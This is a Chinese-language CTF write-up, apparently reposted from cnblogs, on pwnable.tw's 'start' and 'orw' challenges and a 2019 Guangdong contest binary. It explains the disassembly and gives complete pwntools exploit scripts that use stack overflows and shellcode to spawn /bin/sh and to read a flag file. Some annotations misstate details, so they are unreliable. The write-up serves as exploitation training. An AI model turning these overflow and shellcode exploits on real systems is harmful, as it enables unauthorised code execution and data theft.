

push esp #将esp寄存器的值压入栈中,这里可以获得栈的地址 push offset _exit #将_exit函数地址压入栈中,使得start函数执行完毕时返回exit函数 xor eax, eax #清空eax寄存器的值 xor ebx, ebx #清空ebx寄存器的值 xor ecx, ecx #清空ecx寄存器的值 xor edx, edx #清空edx寄存器的值 push 3A465443h push 20656874h push 20747261h push 74732073h push 2774654Ch #压入一堆字符串,即程序运行时的字符串,Let‘s start the CTF: mov ecx, esp ; addr,将字符串的地址放入ecx寄存器中 mov dl, 14h ; len,将打印长度放进dl寄存器中,即16位寄存器 mov bl, 1 ; fd,1为文件描述符,指的是屏幕 mov al, 4 #eax寄存器,存放的是调用号,4调用号即,write函数 int 80h ; LINUX - sys_write,int 0x80调用80中断 xor ebx, ebx #清空ebx寄存器,0为文件描述符,即外部输入,例如键盘 mov dl, 3Ch #输入的长度 0x3c mov al, 3 #3调用号,即read函数 int 80h ; LINUX - add esp, 14h #恢复栈平衡,因为压入字符串消耗了0x14的栈空间,使用完毕后需要换远 retn #返回
函数调用表



mov ecx, esp ; addr,将字符串的地址放入ecx寄存器中 mov dl, 14h ; len,将打印长度放进dl寄存器中,即16位寄存器 mov bl, 1 ; fd,1为文件描述符,指的是屏幕 mov al, 4 #eax寄存器,存放的是调用号,4调用号即,write函数 int 80h ; LINUX - sys_write,int
0xffffd12c —? 0xffffd130 #因为push esp,会使得esp的值减4,因此此时的esp指针指向的内容是旧的esp指针,这点需要注意

sh.recvuntil("Let‘s start the CTF:")
payload = ‘a‘*20 + p32(0x8048087)#mov ecx,esp的地址
#attach(sh)
sh.send(payload)
esp = u32(sh.recv(4))
print ‘esp:‘+hex(esp)
返回栈地址,执行shellcode
shellcode
c语言表示:execve("/bin/sh\x00",0,0)
汇编代码:
mov eax,0xb #将调用号设置为0xb,即函数execve的调用号
xor edx,edx #清空edx寄存器,因为execve的函数edx的值为0
xor ecx,ecx #清空ecx寄存器,因为execve的函数ecx的值为0
push 0x0068732f #\x00hs/
push 0x6e69622f #nib/,小端模式需要反着压入栈中
mov ebx,esp #将字符串的地址传递给ebx
int 0x80 #调用80中断
16进制表示:
利用pwntools库里的asm()函数,将汇编代码以16进制的表示形式输入
可以看到简单的shellcode编写需要对照着系统调用号的表,挑取你需要的函数,然后对照着表将参数输入到对应的寄存器,继而调用80中断实现调用函数。
payload1 = ‘a‘*20+p32(esp+20)#该返回地址需要自己去调试看看自己shellcode的起始地址,算出与泄露出的栈顶地址的偏移即可
payload = asm("mov eax,0xb")
payload += asm("xor edx,edx")
payload += asm("xor ecx,ecx")
payload += asm("push 0x0068732f")
payload += asm("push 0x6e69622f")
payload += asm("mov ebx,esp")
payload += asm("int 0x80")
sh.send(payload1+payload)
完整的exp
from pwn import *
context(arch=‘i386‘,os=‘linux‘)
sh = process("./start")
#sh = remote("node3.buuoj.cn",29479)
sh.recvuntil("Let‘s start the CTF:")
payload = ‘a‘*20 + p32(0x8048087)
#attach(sh)
sh.send(payload)
esp = u32(sh.recv(4))
print ‘esp:‘+hex(esp)
payload1 = ‘a‘*20+p32(esp+20)
payload = asm("mov eax,0xb")
payload += asm("xor edx,edx")
payload += asm("xor ecx,ecx")
payload += asm("push 0x0068732f")
payload += asm("push 0x6e69622f")
payload += asm("mov ebx,esp")
payload += asm("int 0x80")
sh.send(payload1+payload)
sh.interactive()
pwnable之orw





fd = open("/home/orw/flag","w");//首先打开文件 read(fd,buf,0x20);//读取文件的信息,放入到局部变量buf中 write(1,buf,0x20);//将变量buf的内容打印出来,这里的足够打印出flag的长度即可,由于不知道flag的具体长度可以设置为长一点

#首先对照伪C代码以及系统调用表进行shellcode的编写 fd = open("/home/orw/flag","w") #相应的汇编 xor ecx,ecx #清空ecx寄存器,open的调用该寄存器的值设为null xor edx,edx #清空edx寄存器,open的调用该寄存器的值设为null mov eax,0x5 #调用号设置为5 push 0x006761 #将/home/orw/flag压入栈中,注意是栈是先进后出,因此字符串需要从最末尾开始压入即将字符 push 0x6c662f77 #转为16进制要反向排序,并且字符串需要添加截断符\x00,push要以4字节为单位。 push 0x726f2f65 push 0x6d6f682f mov ebx,esp #fd的值为路径的地址 int 0x80 #调用80中断,实现系统调用 #c语言 read(fd,buf,0x20)或read(3,buf,0x20)#这里的3为其他文件描述符,下面会详细介绍 #相应的汇编 mov eax,0x4 mov ebx,0x3 #这里用3代替了oepn返回的fd指针,因为3可以用作于打开文件时的文件描述符,若想用open返回的指针则应该将系统调用号移动到eax寄存器前,先保存eax的内容。 mov ecx,esp #将esp作为临时变量buf的地址 mov edx,0x20 #读入的长度为0x20 int 0x80 #调用80中断,实现系统调用 #c语言 write(1,buf,0x20) #相应的汇编 mov eax,0x3#系统调用号0x3 mov ebx,0x1#文件描述符为1,指向屏幕 mov ecx,esp #将esp作为临时变量buf的地址 mov edx,0x20 #打印的字符串的长度 int 0x80 #调用80中断,实现系统调用 #这里可以用pwntools库的一个函数代替,shellcraft c语言:open("/home/orw/flag") <==> 汇编:asm(shellcraft.open("/home/orw/flag")) c语言:read(3,buf,0x20)<==> 汇编:asm(shellcraft.read(3,"esp",0x20) c语言:write(1,buf,0x20)<==>汇编:asm(shellcraft.write(1,"esp",0x20)) 文件描述符
from pwn import * context(log_level=‘debug‘,arch=‘i386‘,os=‘linux‘) #sh = remote("node3.buuoj.cn",29479) sh = remote("chall.pwnable.tw",10001) sh.recvuntil("shellcode:") payload = asm(shellcraft.open("/home/orw/flag")) payload += asm(shellcraft.read(3,"esp",100)) payload += asm(shellcraft.write(1,"esp",100)) sh.sendline(payload) sh.interactive()
from pwn import * context(arch=‘i386‘,os=‘linux‘) #sh = remote("node3.buuoj.cn",25212) sh = remote("chall.pwnable.tw",10001) sh.recvuntil("shellcode:") payload = asm("xor ecx,ecx") payload += asm("xor edx,edx") payload += asm("mov eax,0x5") payload += asm("push 0x006761") payload += asm("push 0x6c662f77") payload += asm("push 0x726f2f65") payload += asm("push 0x6d6f682f") payload += asm("mov ebx,esp") payload += asm("int 0x80") payload += asm("mov eax,0x3") payload += asm("mov ebx,0x3") payload += asm("mov ecx,esp") payload += asm("mov edx,0x20") payload += asm("int 0x80") payload += asm("mov eax,0x4") payload += asm("mov ebx,0x1") payload += asm("mov ecx,esp") payload += asm("mov edx,0x2") payload += asm("int 0x80") sh.sendline(payload) sh.interactive()
2019广东强网杯线下题目





汇编代码分析
payload = asm("mov rax,0;") #系统调用号 payload += asm("mov rdi,0;")#文件描述符 payload += asm("mov rsi,0x601080")#.bss段地址,用于buf地址 payload += asm("mov rdx,0x40")#输入长度 payload += asm("syscall")#syscall启动调用 payload += asm("push 0x601080")#返回地址 payload += asm("ret")#ret指令返回任意地址 payload = payload.ljust(0x38,‘b‘) payload += p64(addr)
完整的exp
from pwn import * context(log_level=‘debug‘,arch=‘amd64‘,os=‘linux‘) sh = process("./pwn") sh.recvuntil(" your choice:") sh.sendline("3") sh.recvuntil("What?") payload = ‘a‘*0x28+p64(305419896) sh.send(payload) sh.recvuntil(" your choice:") sh.sendline("2") sh.recvuntil("It is magic: [") addr = int(sh.recv(14),16) print ‘addr:‘+hex(addr) sh.sendline("3") sh.recvuntil("What?") payload = asm("mov rax,0;") payload += asm("mov rdi,0;") payload += asm("mov rsi,0x601080") payload += asm("mov rdx,0x40") payload += asm("syscall") payload += asm("push 0x601080") payload += asm("ret") payload = payload.ljust(0x38,‘b‘) payload += p64(addr) #attach(sh) sh.send(payload) payload = asm("mov eax,59") #调用59号系统调用,execve("/bin/sh",0,0); payload += asm("xor rsi,rsi") payload += asm("xor rdx,rdx") payload += asm("mov rdi, 0x6010a8") payload += asm("syscall") payload = payload.ljust(0x28,‘\x00‘) payload += ‘/bin/sh\x00‘ attach(sh) sh.send(payload) sh.interactive()
总结
原文:https://www.cnblogs.com/hetianlab/p/13279243.html